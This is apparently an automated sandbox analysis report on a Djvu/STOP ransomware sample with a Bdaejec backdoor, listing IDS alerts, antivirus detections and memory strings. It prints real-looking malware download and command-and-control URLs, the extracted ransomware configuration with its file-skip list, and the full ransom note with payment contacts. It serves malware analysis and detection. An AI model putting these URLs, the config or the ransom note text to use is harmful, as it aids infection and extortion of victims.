Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.10 - Destination IP: 44.221.84.105

Timestamp:	2024-07-26T02:04:03.630166+0200
SID:	2807908
Source Port:	54351
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.10

Timestamp:	2024-07-26T02:03:49.576946+0200
SID:	2022930
Source Port:	443
Destination Port:	54344
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.10 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:04:19.216682+0200
SID:	2036333
Source Port:	54348
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:03:33.121044+0200
SID:	2838522
Source Port:	51794
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:04:02.071612+0200
SID:	2838522
Source Port:	49755
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.10 - Destination IP: 44.221.84.105

Timestamp:	2024-07-26T02:03:56.570533+0200
SID:	2807908
Source Port:	54347
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.10 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:04:53.844370+0200
SID:	2833438
Source Port:	54355
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.10 - Destination IP: 44.221.84.105

Timestamp:	2024-07-26T02:03:53.734003+0200
SID:	2807908
Source Port:	54346
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.10 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:05:17.181330+0200
SID:	2036334
Source Port:	54357
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.10 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T02:03:33.252536+0200
SID:	2803274
Source Port:	49700
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.10 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T02:03:35.970517+0200
SID:	2803274
Source Port:	49701
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.10 - Destination IP: 44.221.84.105

Timestamp:	2024-07-26T02:03:50.364320+0200
SID:	2807908
Source Port:	54345
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://ddos.dnsnb8.net:799/cj//k3.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k4.rar	URL Reputation: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k4.rarB&	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar%/	Avira URL Cloud: Label: malware
Source: http://zerit.top/dl/build2.exe	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rars	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k4.rarw&	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rara&	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rartC:	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar(	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar&	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k3.rarU	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rarH	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rary	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k5.rar	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rar5C:	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k5.rarsC:	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rarR	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k4.rart	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k4.rarn	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rarn	Avira URL Cloud: Label: phishing
Source: http://fuyt.org/test1/get.php	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rarcC:	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Program Files\7-Zip\Uninstall.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Avira: detection malicious, Label: W32/Jadtre.B

Found malware configuration

Source: 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Djvu {"Download URLs": ["http://zerit.top/dl/build2.exe", "http://fuyt.org/files/1/build3.exe"], "C2 url": "http://fuyt.org/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-NdDG3HIUZp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@sysmail.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupportsys@airmail.cc\r\n\r\nYour personal ID:\r\n0425Jsfkjn", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\

Multi AV Scanner detection for domain / URL

Source: fuyt.org	Virustotal: Detection: 14%	Perma Link
Source: ddos.dnsnb8.net	Virustotal: Detection: 12%	Perma Link
Source: api.2ip.ua	Virustotal: Detection: 6%	Perma Link
Source: zerit.top	Virustotal: Detection: 12%	Perma Link
Source: http://fuyt.org/files/1/build3.exe$runer	Virustotal: Detection: 13%	Perma Link
Source: http://zerit.top/dl/build2.exe	Virustotal: Detection: 13%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rar%/	Virustotal: Detection: 11%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rars	Virustotal: Detection: 11%	Perma Link
Source: http://fuyt.org/iles/1/build3.exe	Virustotal: Detection: 12%	Perma Link
Source: http://fuyt.org/s	Virustotal: Detection: 12%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rartC:	Virustotal: Detection: 12%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rar&	Virustotal: Detection: 8%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rar(	Virustotal: Detection: 9%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	ReversingLabs: Detection: 92%

Multi AV Scanner detection for submitted file

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Virustotal: Detection: 89%			Perma Link
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	ReversingLabs: Detection: 100%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files\7-Zip\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040E870
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	4_2_0040EA51
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040EAA0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	4_2_0040EC68
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	4_2_00410FC0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00411178 CryptDestroyHash,CryptReleaseContext,	4_2_00411178

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2535359075.000000000051A000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArGGHSIReD5SZWt2Y24Jb\\n\/OJzG8zcoErv0h105BXFBabk95nZT\/wQpplVzu+v7ZTXdl3xSBH1GzqAh9epyzHm\\nS6tN\/cpzi69NM585EzjGu1nInIYNy1AJ1C\/m+tycy9M2UPdFznknzcuL\/nYXhgjf\\nyclwhqed8ThmhDq8u5zVodb+IPNSZYPP5HUvTYUuCYDy6htq04Jmrml\/UZkzdSwZ\\nMk4b+WKc\/aWllJ\/Bu5h394Kif6QWBVXWAzjF06Pb2HJ2PHFM4ZF56W9lDjmx7uGB\\nMlq1xpN4q\/MzdW4kktCDEkrl50YvX9yzR68TXR3RPxfTz4EPGX4uI0BWHp8pOoeO\\n1wIDAQAB\\n-----END PUBLIC KEY-----

memstr_0247713b-1

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:54343 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\H source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\b^ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2539558957.00000000035C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\fexif.pdb source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\e\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505596863.000000000315D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505802837.000000000316D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\O source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\3 source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ings\*@ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2539558957.00000000035C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\V9" source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474590763.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2478448827.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2482812646.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2495778566.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2494216600.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2477859870.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474015460.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\;8 source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474590763.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2478448827.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2482812646.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2495778566.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2494216600.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2477859870.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474015460.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505596863.000000000315D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505802837.000000000316D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2539723372.0000000003699000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\~ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
